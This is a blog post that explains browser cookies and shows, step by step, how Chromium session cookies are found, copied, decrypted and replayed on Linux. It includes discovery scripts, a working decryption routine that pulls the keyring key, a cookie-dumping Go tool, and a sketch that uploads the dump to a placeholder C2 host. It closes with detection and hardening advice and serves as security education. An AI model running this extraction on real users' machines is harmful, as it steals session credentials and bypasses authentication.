DEV Community

Cover image for Browser Cookies: What Are They, How Are They Used, and How Can They Be Stolen?
Marius Trelea
Marius Trelea

Posted on

Browser Cookies: What Are They, How Are They Used, and How Can They Be Stolen?

In this post, I’ll cover:

  • What cookies are
  • When and why cookies are used
  • How cookies can be stolen
  • Common methods used to steal cookies
  • A simple example demonstrating how cookies can be extracted from my two most-used browsers, Firefox Developer Edition and Chromium, using an interesting filesystem-level method
  • A small Go tool that automates the whole extraction flow on Linux — database discovery, copying, decryption, and structured JSON output — plus a look at how real-world malware turns this same flow into network exfiltration

For this example, I’ll use a test website I created for this purpose: https://cookies-app-one.vercel.app/. The goal of the experiment is to demonstrate how a stolen session cookie could be used to authenticate to a user’s account without their credentials. I’m conducting this experiment on my own system (Arch Linux), although similar techniques may apply to other operating systems with some variations.

Note on the stack used in this article: the test website is built with Node.js / Express, so the session cookie it sets is named connect.sid (the default name used by express-session). Keep in mind that this name is specific to that stack—as explained in section 1.1, other technologies use different session cookie names (PHPSESSID, JSESSIONID, .AspNetCore.Session, etc.). The technique shown here works exactly the same way regardless of the cookie name used.

This is an educational experiment conducted on my own system and test website. It is not intended to facilitate digital fraud.


1. What Are Cookies?

Cookies are small pieces of data stored by a browser on the client side and exchanged with a server when needed. In a typical server-side session setup, the actual session data—for example, a JSON object or other data—is stored on the server. The client stores a session identifier (SID) that refers to the corresponding session state on the server.

1.1. Session Cookie Names Depend on the Technology

It's worth noting that the name of the session cookie is not standardized in any way—it depends entirely on the server technology or framework that sets it. The cookie name you see in your browser's developer tools will differ from stack to stack:

Stack / Framework Typical session cookie name
Node.js / Express (express-session) connect.sid
PHP PHPSESSID
ASP.NET (classic) ASP.NET_SessionId
ASP.NET Core .AspNetCore.Session
Java / Jakarta EE (Tomcat, Spring, etc.) JSESSIONID
Ruby on Rails _myapp_session (app-specific)
Go (e.g., gorilla/sessions) developer-defined

So while the concept of a session identifier is universal, a connect.sid cookie tells you the backend is likely Node.js/Express, a PHPSESSID points to PHP, a JSESSIONID to Java, and so on.

Large companies often go further and define their own completely custom cookie names. Facebook is a well-known example—it doesn't use a standard session cookie name at all, but instead sets its own cookies:

  • c_user — contains the authenticated user's unique ID (the profile ID).
  • xs — the main session token (contains the session ID, security flags, and login state). Together with c_user, it is essential for session identification.
  • datr — identifies the browser/device the request is made from, used to detect suspicious activity or fraud attempts.
  • fr — an encrypted cookie used by Facebook for authentication and advertising targeting/tracking.
  • sb — used for browser identification and improving login security.
  • presence — contains chat presence state (online/offline, time of last activity, etc.).
  • dpr — Device Pixel Ratio (screen resolution information for rendering).
  • wd — browser window dimensions (width x height, e.g., 800x963), used for adapting the interface.
  • ps_l / ps_n — internal flags used for the state of various modules or interface features.

This matters for the rest of the article: when we go looking for a session cookie in a browser's local database, the value we're after could be stored under any of these names—there is no single "universal" cookie to search for.


2. What Are Cookies Used For?

Many people assume that cookies are used only for advertising and tracking. Non-technical users often associate them exclusively with cookie-consent banners. However, cookies have many different use cases.

Backend developers use cookies for a variety of purposes, including:

  • Advertising and tracking
  • User authentication
  • E-commerce shopping carts
  • User identification and language/locale preferences
  • Multi-step forms and checkout flows

As mentioned earlier, in a typical server-side session setup, the client holds a long identifier that points to a server-side session store. The user’s machine does not store the raw session data—only the identifier, along with its expiration time and properties such as security flags.


3. How Can Cookies Be Stolen?

Method A: Cookie Hijacking (Client/Web Level)

One common way cookies can be stolen is through cookie hijacking, which attackers may use to gain unauthorized access, tamper with analytics, or steal data.

How does cookie hijacking work? Client-side JavaScript—for example, code executed in the browser console or injected through a Cross-Site Scripting (XSS) vulnerability—can read cookies that are accessible to JavaScript through document.cookie. The script can then send the accessible cookie values to a server controlled by an attacker.

How to reduce the risk of cookie hijacking:

Set appropriate security attributes on cookies in production:

  • HttpOnly=true: Prevents client-side JavaScript from reading the cookie.
  • Secure=true: Ensures the cookie is sent only over encrypted HTTPS connections.
  • SameSite=Strict or SameSite=Lax: Controls when cookies are sent with cross-site requests, helping mitigate Cross-Site Request Forgery (CSRF) and some cross-site data-leakage risks.

Method B: Filesystem Extraction

Another method involves accessing browser data at the filesystem level. This approach does not require JavaScript execution, browser-console commands, or web-based injection scripts.

Where Are Cookies Stored Locally?

Browsers store cookies locally, commonly in an SQLite database. How cookie values are protected on disk varies by browser, operating system, and browser version.

  • Chrome / Chromium / Brave: Cookie values are generally protected using encryption mechanisms.
  • Firefox / Firefox Developer Edition: Cookie records are stored in a local database. Whether values are encrypted at rest depends on the browser’s security model and configuration.

4. Local Database Locations Across Operating Systems

Here are the scripts for locating browser-cookie database files on different operating systems:

  • find-browser-cookies.sh
  • find-browser-cookies-mac.sh
  • Find-BrowserCookies.ps1

Here is the code for each script:

Linux (find-browser-cookies.sh):

#!/usr/bin/env bash

# Print Markdown table headers
printf "| %-22s | %-75s |\n" "Browser" "Cookie File Path"
printf "|-%-22s-|-%-75s-|\n" "----------------------" "---------------------------------------------------------------------------"

# 1. Firefox & Firefox Developer Edition (cookies.sqlite)
find ~/.mozilla ~/.var/app ~/snap -type f -name "cookies.sqlite" 2>/dev/null | while read -r filepath; do
    browser="Firefox"
    if [[ "$filepath" == *".dev-edition"* ]] || [[ "$filepath" == *"firefox-dev-edition"* ]]; then
        browser="Firefox Dev Edition"
    elif [[ "$filepath" == *"/snap/firefox/"* ]]; then
        browser="Firefox (Snap)"
    elif [[ "$filepath" == *"/org.mozilla.firefox/"* ]]; then
        browser="Firefox (Flatpak)"
    fi
    printf "| %-22s | %-75s |\n" "$browser" "$filepath"
done

# 2. Chrome, Chromium, and Brave (Cookies)
find ~/.config ~/.var/app ~/snap -type f -name "Cookies" 2>/dev/null | while read -r filepath; do
    browser=""
    if [[ "$filepath" == *"/google-chrome"* ]]; then
        browser="Google Chrome"
    elif [[ "$filepath" == *"/chromium"* ]]; then
        browser="Chromium"
    elif [[ "$filepath" == *"/BraveSoftware"* ]] || [[ "$filepath" == *"/com.brave.Browser"* ]]; then
        browser="Brave"
    fi

    if [[ -n "$browser" ]]; then
        printf "| %-22s | %-75s |\n" "$browser" "$filepath"
    fi
done
Enter fullscreen mode Exit fullscreen mode

macOS (find-browser-cookies-mac.sh):

#!/usr/bin/env bash

printf "| %-22s | %-75s |\n" "Browser" "Cookie File Path"
printf "|-%-22s-|-%-75s-|\n" "----------------------" "---------------------------------------------------------------------------"

# 1. Firefox & Firefox Developer Edition
find "$HOME/Library/Application Support/Firefox" "$HOME/Library/Application Support/Firefox Developer Edition" -type f -name "cookies.sqlite" 2>/dev/null | while read -r filepath; do
    browser="Firefox"
    if [[ "$filepath" == *".dev-edition"* ]] || [[ "$filepath" == *"Firefox Developer Edition"* ]]; then
        browser="Firefox Dev Edition"
    fi
    printf "| %-22s | %-75s |\n" "$browser" "$filepath"
done

# 2. Google Chrome, Chromium, and Brave
find "$HOME/Library/Application Support" -maxdepth 5 -type f -name "Cookies" 2>/dev/null | while read -r filepath; do
    browser=""
    if [[ "$filepath" == *"/Google/Chrome"* ]]; then browser="Google Chrome"
    elif [[ "$filepath" == *"/Chromium"* ]]; then browser="Chromium"
    elif [[ "$filepath" == *"/BraveSoftware"* ]]; then browser="Brave"
    fi

    if [[ -n "$browser" ]]; then
        printf "| %-22s | %-75s |\n" "$browser" "$filepath"
    fi
done
Enter fullscreen mode Exit fullscreen mode

Windows (PowerShell) (Find-BrowserCookies.ps1):

$results = @()

# 1. Firefox & Firefox Developer Edition (Gecko)
$firefoxRoot = "$env:APPDATA\Mozilla\Firefox"
if (Test-Path $firefoxRoot) {
    Get-ChildItem -Path $firefoxRoot -Filter "cookies.sqlite" -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        $browser = "Firefox"
        if ($_.FullName -like "*.dev-edition*") { $browser = "Firefox Dev Edition" }

        $results += [PSCustomObject]@{
            "Browser"          = $browser
            "Cookie File Path" = $_.FullName
        }
    }
}

# 2. Google Chrome, Chromium, and Brave
$localAppData = "$env:LOCALAPPDATA"
Get-ChildItem -Path $localAppData -Filter "Cookies" -Recurse -File -Depth 5 -ErrorAction SilentlyContinue | ForEach-Object {
    $path = $_.FullName
    $browser = $null

    if ($path -like "*\Google\Chrome\*") { $browser = "Google Chrome" }
    elseif ($path -like "*\Chromium\*") { $browser = "Chromium" }
    elseif ($path -like "*\BraveSoftware\Brave-Browser\*") { $browser = "Brave" }

    if ($browser) {
        $results += [PSCustomObject]@{
            "Browser"          = $browser
            "Cookie File Path" = $path
        }
    }
}

# Output formatted table
$results | Format-Table -AutoSize
Enter fullscreen mode Exit fullscreen mode

For this experiment, I’ll continue with Chromium.

Scope of the practical example: the walkthrough below uses Chromium on Linux specifically, and the backend being targeted is a Node.js/Express application, so the session cookie we will locate and extract is named connect.sid. However, the overall flow is the same for any browser, any operating system, and any backend stack: locate the browser’s local cookie database, make a copy, inspect it, find the target site’s cookie record, and decrypt the stored value. What changes between browsers and operating systems is the database location (handled by the scripts above) and how the cookie values are encrypted and protected on disk—while what changes between backend stacks is only the name of the session cookie you search for (see section 1.1).

4.1. Sign In to the Test Website

The first step is to sign in to the test website. I sign in to my test dashboard at https://cookies-app-one.vercel.app/. The website uses cookie-based, session-based authentication, so once I’m authenticated, the browser stores a session cookie that will later appear in the local cookies database.

The following images show the login page and the authenticated dashboard:

Login page

Authenticated dashboard

4.2. Find the Chromium Cookies Database

Now take one of the three scripts from the previous section — according to your operating system — and run it. They do the same job on each platform:

  • Linux: find-browser-cookies.sh
  • macOS: find-browser-cookies-mac.sh
  • Windows: Find-BrowserCookies.ps1

Since my system is Arch Linux, I run the Linux one:

./find-browser-cookies.sh
Enter fullscreen mode Exit fullscreen mode

The following image shows the script being run and the resulting path:

Chromium cookies database path

The output identifies the Chromium cookies database at:

/home/treleadev/.config/chromium/Default/Cookies

On other operating systems the path will differ (e.g. macOS or Windows profile locations), which is exactly what the other two scripts handle — the rest of the walkthrough is unchanged.

This is the SQLite database file used in the following steps.

4.3. Make a Copy of the Database

The next step is to copy the database to another location. Sometimes, the browser may keep the database open, which can make it difficult to inspect directly. Working with a copy can help avoid interfering with the browser’s active files.

Command:

cp /home/treleadev/.config/chromium/Default/Cookies /tmp/Cookies_copy.sqlite
Enter fullscreen mode Exit fullscreen mode

4.4. Inspect the Tables and Schema

Next, inspect the database to see which tables it contains and how they are structured.

Commands:

# Open the copied database
sqlite3 /tmp/Cookies_copy.sqlite

# Once inside the sqlite> prompt, list all tables:
.tables

# View the schema of the main cookies table:
.schema cookies
Enter fullscreen mode Exit fullscreen mode

The following image shows the database copy being created and the schema being inspected:

Copying the cookies database and viewing its schema

The cookies table has the following structure:

CREATE TABLE cookies (
    creation_utc INTEGER NOT NULL,
    host_key TEXT NOT NULL,
    top_frame_site_key TEXT NOT NULL,
    name TEXT NOT NULL,
    value TEXT NOT NULL,
    encrypted_value BLOB NOT NULL,
    path TEXT NOT NULL,
    expires_utc INTEGER NOT NULL,
    is_secure INTEGER NOT NULL,
    is_httponly INTEGER NOT NULL,
    last_access_utc INTEGER NOT NULL,
    has_expires INTEGER NOT NULL,
    is_persistent INTEGER NOT NULL,
    priority INTEGER NOT NULL,
    samesite INTEGER NOT NULL,
    source_scheme INTEGER NOT NULL,
    source_port INTEGER NOT NULL,
    last_update_utc INTEGER NOT NULL,
    source_type INTEGER NOT NULL,
    has_cross_site_ancestor INTEGER NOT NULL
);

CREATE UNIQUE INDEX cookies_unique_index
ON cookies (
    host_key,
    top_frame_site_key,
    has_cross_site_ancestor,
    name,
    path,
    source_scheme,
    source_port
);
Enter fullscreen mode Exit fullscreen mode

4.5. Inspect a Few Rows

Let’s inspect the first 10 rows to see how the data is stored, focusing on the encrypted values.

Command:

SELECT host_key, name, encrypted_value
FROM cookies
LIMIT 10;
Enter fullscreen mode Exit fullscreen mode

The following image shows the output:

Inspecting sample cookie rows

As we can see, the encrypted_value column contains protected cookie data. Even though the values are encrypted, they may still be sensitive, so I won’t expose them in the article.

4.6. Find the Website’s Cookie Record

Next, let’s inspect the SQLite database and filter the records for the test website’s domain.

Query 1:

SELECT host_key, name, encrypted_value, is_secure, is_httponly
FROM cookies
WHERE host_key LIKE '%cookies-app-one.vercel.app%';
Enter fullscreen mode Exit fullscreen mode

Query 2:

SELECT encrypted_value
FROM cookies
WHERE host_key LIKE '%cookies-app-one.vercel.app%';
Enter fullscreen mode Exit fullscreen mode

The value in the encrypted_value column is encrypted.

The following image shows the output:

Encrypted cookie value

4.7. Inspect the Encrypted Value

The following command writes the selected encrypted value to a local file named data:

sqlite3 /tmp/Cookies_copy.sqlite "SELECT writefile('data', encrypted_value) FROM cookies WHERE host_key LIKE '%cookies-app-one.vercel.app%' LIMIT 1;" && cat data
Enter fullscreen mode Exit fullscreen mode

4.8. Understanding the Decryption Step

To interpret Chromium’s encrypted cookie data, it is important to understand how the browser protects secrets on the local system. The exact process depends on the operating system and Chromium version.

On Linux, Chromium may integrate with a system keyring. The command below checks for a stored entry associated with Chromium; do not publish or share any recovered secret:

secret-tool lookup application chromium
Enter fullscreen mode Exit fullscreen mode

That command only brings us the key material ("Safe Storage" secret), not the cookie itself. The actual decryption is a two-stage command: first retrieve the key from the keyring (trying chrome and then chromium, since the entry name depends on which Chromium-family browser encrypted the data), then feed the key to a decryption routine that processes the data file we extracted in section 4.7. Here I use Node.js because its crypto module has everything built in:

REAL_PASS=$(secret-tool lookup application chrome)
if [ -z "$REAL_PASS" ]; then
    REAL_PASS=$(secret-tool lookup application chromium)
fi
CHROMIUM_PASS=$REAL_PASS node -e "
  const fs = require('fs');
  const crypto = require('crypto');

  // 1. Derive the 128-bit AES key using PBKDF2
  const key = crypto.pbkdf2Sync(
    process.env.CHROMIUM_PASS || 'peanuts',
    'saltysalt',
    1,
    16,
    'sha1'
  );

  // 2. Initialize the AES-128-CBC decipher with an IV of 16 spaces
  const decipher = crypto.createDecipheriv(
    'aes-128-cbc',
    key,
    Buffer.alloc(16, ' ')
  );

  // 3. Read the encrypted binary file and slice off the 3-byte header ('v11')
  const encryptedData = fs.readFileSync('./data').slice(3);

  // 4. Decrypt the binary buffer
  const decrypted = Buffer.concat([
    decipher.update(encryptedData),
    decipher.final()
  ]);

  // 5. Slice off the 32-byte domain-binding hash and log the string
  console.log('\n[+] Final Clean Session Cookie:\n' + decrypted.slice(32).toString());
"
Enter fullscreen mode Exit fullscreen mode

What this does, step by step — and how it connects back to the theory in sections 5.3 and section 4:

  1. Key retrieval (the secret-tool part). Chromium-family browsers store their "Safe Storage" secret in the DBus Secret Service, under an application attribute matching the browser (chrome, chromium, brave …). If the entry is empty (e.g. no keyring running, or a v10 cookie), the script silently falls back to the well-known hardcoded password peanuts — Chromium's own legacy default.
  2. Key derivation. The retrieved password is stretched with PBKDF2-HMAC-SHA1, salted with the famous constant "saltysalt", one iteration, into a 16-byte (128-bit) AES key. This mirrors exactly the deriveChromiumKey() from the Go tool in section 5.3.
  3. Decryption. The blob from encrypted_value is AES-128-CBC ciphertext with a constant IV of 16 space characters (0x20). The first 3 bytes of the file (v10 / v11) are a version header, not ciphertext — they're sliced off before decrypting.
  4. Hash stripping. On newer Chromium cookie-store schemas (v24+), the decrypted plaintext starts with 32 bytes of SHA256(host_key) — a domain-binding integrity hash. Slicing those 32 bytes leaves the actual cookie value, ready for use in the curl from section 4.10.

For safety, I'm not publishing the output value of this command — it is a live session credential. The important point for this experiment is that locally stored browser data may contain authentication material, and access to that data can have serious security implications.

The following image shows the output:

Cookie decryption output

4.9. Why a Session Cookie Is Sensitive

A session cookie can act as proof that a user has already authenticated. If an attacker obtains a valid session cookie and the application accepts it, the attacker may be able to access the account without knowing the user’s password.

For that reason, I’m deliberately not publishing the extracted cookie value. Any real session token should be treated like a password: keep it private, invalidate it if it may have been exposed, and avoid placing it in screenshots, logs, or public articles.

4.10. Test Access to a Protected Endpoint

The final part of the experiment is to verify, in a controlled test environment, that the dashboard endpoint requires a valid session. A request can be made with curl, but any session-cookie value should be supplied privately and should never be included in a public article.

Example request using a placeholder. Note that connect.sid is the session cookie name here only because the test dashboard is a Node.js/Express application—on another stack you would substitute the appropriate cookie name instead (PHPSESSID for PHP, JSESSIONID for Java, .AspNetCore.Session for ASP.NET Core, etc., as discussed in section 1.1):

curl -i -X GET "https://cookies-app-one.vercel.app/dashboard" \
  -H "Cookie: connect.sid=<REDACTED_SESSION_COOKIE>"
Enter fullscreen mode Exit fullscreen mode

The following image shows the output:

Response from the protected dashboard endpoint

Finally, you can inspect the response locally to check whether it contains your expected test-account username. Avoid publishing response data that could reveal personal information or session credentials.

The following image shows the output:

Checking the dashboard response for the test username


5. Automating the Whole Flow with a Go Tool

Everything we did by hand in section 4 — discovering the database, copying it, finding the cookie record, decrypting it, and producing a readable result — can be automated. I packaged the whole flow into a small open-source Go tool for Linux:

Repository: https://github.com/trelea/go-cookie-dump-linux

It supports Chrome, Chromium, Brave, Firefox, and Firefox Developer Edition. For each installed browser it produces one JSON file (out/chromium_cookies.json, out/firefox_cookies.json, …) containing every cookie: decrypted where possible, redacted where not.

5.1. Build and Usage

The tool is pure Go (no cgo), so it builds into a single static executable:

make build          # -> dist/cookie-dump
Enter fullscreen mode Exit fullscreen mode

Or manually:

go build -trimpath -ldflags="-s -w" -o dist/cookie-dump .
Enter fullscreen mode Exit fullscreen mode

Usage is a single flag:

./dist/cookie-dump -browser all        # every installed browser
./dist/cookie-dump -browser chromium   # a single browser
./dist/cookie-dump -browser firefox-dev
Enter fullscreen mode Exit fullscreen mode

Browsers that are not installed are silently skipped, and the output directory ./out is created automatically with 0700 permissions. Each JSON file is written with 0600 — these files are session credentials, and the tool treats them accordingly:

[written] chromium       214 cookie(s) -> out/chromium_cookies.json (decrypted: 209, redacted: 5)

WARNING: these JSON files contain live session credentials.
Treat them like passwords: keep them private and delete them when done.
Enter fullscreen mode Exit fullscreen mode

5.2. The Output Format

Each record normalizes the differences between browsers into one shared schema:

{
  "domain": ".example.com",
  "name": "session",
  "value": "plaintext-or-redacted",
  "encrypted": false,
  "path": "/",
  "secure": true,
  "httpOnly": true,
  "sameSite": "lax",
  "isPersistent": true,
  "priority": "medium",
  "creationTime": "2025-09-17T13:41:23Z",
  "lastAccessTime": "2026-10-19T00:21:27Z",
  "expires": "2026-10-22T13:41:23Z"
}
Enter fullscreen mode Exit fullscreen mode

Two details worth calling out, because both browsers hide them from you:

  • Timestamps come from two different epochs. Chromium stores microseconds since 1601; Firefox stores PRTime microseconds since 1970 (except expiry, which is seconds). The tool converts everything to RFC 3339 UTC strings.
  • Firefox records also carry baseDomain and originAttributes (omitted on older schemas where those columns don't exist), and Chromium records carry isPersistent and priority.

The encrypted field is true whenever a stored value could not be decrypted — in that case the value is redacted rather than garbage. The tool never crashes on a secret it cannot recover.

5.3. How It Mirrors the Manual Steps

Each part of the tool corresponds directly to a step in section 4.

Database discovery (≈ section 4.2). Instead of the shell scripts, each browser is described as data: candidate database paths, first existing one wins. Flatpak and standard locations are both covered:

"chromium": {
    ID: "chromium",
    ChromiumPaths: []string{
        filepath.Join(h, ".config/chromium/Default/Cookies"),
        filepath.Join(h, ".var/app/org.chromium.Chromium/config/chromium/Default/Cookies"),
    },
    KeyringApps: []string{"chromium"},
},
Enter fullscreen mode Exit fullscreen mode

The copy-to-temp trick (≈ section 4.3). The browser keeps the database open, so — exactly like our manual cp — the tool copies it to a temp file before opening it with SQLite:

copyPath, cleanup, err := copyToTemp(dbPath)
if err != nil {
    return nil, fmt.Errorf("copying database: %w", err)
}
defer cleanup()
Enter fullscreen mode Exit fullscreen mode

Decryption (≈ sections 4.7–4.8). This is the heart of the tool, and it formalizes the scheme we probed in 4.8. The encrypted blob is a prefix (v10 or v11) followed by AES-128-CBC ciphertext with a constant spaces IV; the key is derived with PBKDF2-HMAC-SHA1 over the famous "saltysalt" salt:

func decryptChromiumValue(encValue, plainValue, hostKey string,
    keyringKey *[]byte, keyringTried *bool, apps []string) (string, bool) {

    if encValue == "" {
        return plainValue, false // legacy plaintext row
    }
    prefix, payload := encValue[:3], []byte(encValue[3:])

    var key []byte
    switch prefix {
    case "v10":
        key = deriveChromiumKey([]byte("peanuts"))
    case "v11":
        // "Safe Storage" secret lives in the system keyring (DBus Secret
        // Service: GNOME Keyring / KWallet / KeePassXC)
        key = deriveChromiumKey(*keyringKey)
    default:
        return "", true // unknown version -> stay redacted
    }
    // ... AES-128-CBC decrypt + strict PKCS#7 unpad ...
}
Enter fullscreen mode Exit fullscreen mode

Two details make this robust across real-world databases:

  • Keyring integration is the programmatic version of secret-tool. The v11 case above needs the "Safe Storage" secret that Chromium stores in the session keyring — the same entry we looked up manually with secret-tool lookup application chromium. The tool talks to the DBus Secret Service directly (org.freedesktop.Secret.Service.SearchItems + GetSecret), tolerates GNOME Keyring / KWallet / KeePassXC reply-shape differences, and unlocks locked collections when needed.
  • Newer Chromium adds a domain-binding hash. From cookie-store schema version 24, the decrypted plaintext is SHA256(host_key) ++ cookie_value. The tool verifies that hash against the row's own host_key and strips it — a cheap integrity check that also proves the decryption was correct.

Firefox needs no decryption at all. Contrary to a common misconception, Firefox stores cookie values in plaintext in the value column — the key4.db/NSS machinery protects saved passwords, not cookies. (This is verified against Firefox's own netwerk/cookie/CookiePersistentStorage.cpp.) The Firefox reader therefore just copies cookies.sqlite and scans moz_cookies, binding columns dynamically because the schema has changed across versions (baseDomain was dropped in schema 11):

rows, err := db.Query(`SELECT * FROM moz_cookies`)
cols, _ := rows.Columns()
values := make([]any, len(cols))
scannable := make([]any, len(cols))
for i := range values {
    scannable[i] = &values[i]
}
Enter fullscreen mode Exit fullscreen mode

This also matches the article's earlier comparison in section 3: on Linux, Chromium encrypts cookie values; Firefox does not.

5.4. Failing Safe

A cookie tool that half-works is more dangerous than one that refuses loudly, so the design rule is: any cookie the tool cannot decrypt is output redacted, never guessed. Concretely:

  • no keyring available → v11 cookies stay { "value": "", "encrypted": true }
  • bad padding (wrong key) → redacted, because strict PKCS#7 validation strongly indicates the key was wrong
  • non-UTF-8 plaintext → redacted
  • no valid Chromium database → browser skipped with [skip], not a crash

Finally, repository hygiene matters here more than usual: the repo's .gitignore excludes the built binary, dist/, and — most importantly — every *_cookies.json and out/ directory, so live session credentials can never be committed by accident.


6. From Local Dump to Network Exfiltration

A JSON file on disk is already a serious incident, but it is still local. There is one more step an attacker can take: sending the harvest somewhere they control. This section describes that step conceptually, because understanding it is what makes it detectable and preventable — the goal is defense, not a working exfiltration recipe.

6.1. The Conceptual Step

Once the cookies are a structured file, exfiltration is no longer a hard problem for the attacker — it is plumbing. In Go, "send the file over the network" is a few lines:

// sketch — placeholder endpoint, same spirit as the <REDACTED> cookie in 4.10
data, _ := os.ReadFile("out/chromium_cookies.json")
http.Post("https://<C2-SERVER>/upload", "application/json", bytes.NewReader(data))
Enter fullscreen mode Exit fullscreen mode

Real-world samples of course add the operational details: calling home to a C2 server with jitter and retry logic, splitting the payload into chunks, compressing or XOR-encoding it, or tunneling it through seemingly innocent channels such as DNS queries or HTTPS image uploads. The principle, however, stays as boring as the snippet above: find → decrypt → serialize → transmit.

6.2. How Real Malware Uses This Exact Flow

This is not a hypothetical. The most widespread Windows and Linux infostealer families — RedLine, Raccoon, Stealc, RisePro, Vulcan and their many forks all do precisely the pipeline described in sections 4–5, at industrial scale:

  1. Locate the browser profile directories (exactly our section 4 scripts).
  2. Copy the cookie database — the same temp-file trick, because the browser holds a lock on it.
  3. Decrypt encrypted_value blobs using the same hardcoded key / keyring secret that the tool uses.
  4. Filter for high-value domains (Google, Facebook, Microsoft, banking, crypto exchange, gaming, SSO providers like okta.com).
  5. Upload everything to a stealer panel where the operator can pick a cookie by name and see it become a logged-in session.

Session cookies are the crown jewel of this business because of what we established in section 4.9: they bypass authentication entirely, and often MFA at the session layer. An attacker with your session cookie does not need your password, and does not trigger the "new login" alert that a password compromise generates. This is why campaigns that pair an infostealer with a session-replaying client have become one of the dominant initial-access vectors for ransomware and corporate takeover attacks — "cookie theft" is regularly just the first stage of a much bigger intrusion.

6.3. Detection and Hardening

Everything above leads to a practical defense checklist. The weak link in the entire chain is that the browser must be able to decrypt the cookie for you, so the ciphertext and its key must both live somewhere the user account can reach. On any machine where a process runs with your user's privileges — benign or not — that attack surface exists by design, so your goal is to make each link in the chain harder and noisier.

On the endpoint (making the disk stage harder):

  • Full-disk encryption — a stolen laptop should not hand over a decrypted cookie database with the same ease.
  • Lock your screen, and let the session keyring lock with it: an unlocked keyring is what makes v11 cookies decryptable by any process running as you.
  • Run a strict application allowlist (or a good default-deny setup) for unprivileged user processes that touch browser profile directories.
  • Monitor access: an auditd rule (Linux) or Sysmon event (Windows) watching for reads of ~/.config/chromium/Default/Cookies from processes other than your browser is a cheap, high-signal tripwire. Periodically reading a cookie DB with a plain sqlite3 copy is exactly what section 4 demonstrated — it should be rare enough that it stands out.

On the network (making the exfil stage visible):

  • Egress filtering / DNS monitoring from workstations: an unknown host suddenly POSTing JSON blobs, or making DNS lookups with high-entropy labels, is worth inspecting.
  • Screen volumes of outbound data from endpoints, not only destinations.

On the web application (limiting the blast radius of a leaked cookie):

  • Set HttpOnly, Secure, and SameSite=Strict/Lax — as discussed in Method A, this kills the JavaScript-level theft route. It does not protect against filesystem extraction (Method B), which is why both defense layers are needed.
  • Bind sessions to more than the cookie where possible: User-Agent or device fingerprint consistency checks, or re-authentication on sensitive actions.
  • Keep session lifetimes bounded and invalidate server-side session records on logout. A stolen session is only as good as the time it stays valid — short TTLs and server-side revocation shrink the window dramatically.
  • IP/ASN anomaly alerts: an infostealer session replay usually arrives from a very different network than the original login and tends to also have a different device fingerprint. Flagging it fast is what turns a stolen cookie from an ATO into a failed bounce.

6.4. Closing

The takeaway is in the pipeline we followed ourselves over the course of this article: a modern browser's cookie store is a credential database, encrypted at rest with a key that lives next to it in your keyring. "It's on my machine, so I control it" cuts both ways: anything the browser can read, any process running as you can read as well. The defense is layered — full-disk encryption, a locked keyring, endpoint policies, egress controls, and short-lived server-side sessions all have to agree that this pipeline is worth interrupting. And the same lesson applies whether the tool involved is a Go experiment built for this article or one of the infostealer families abusing the identical flow in the wild: session cookies are credentials, and credentials deserve the same handling you would give to a password.

As always — this experiment was conducted on my own hardware, against my own test website, with every secret redacted before publication. Don't use any of it against machines you don't own.

Top comments (0)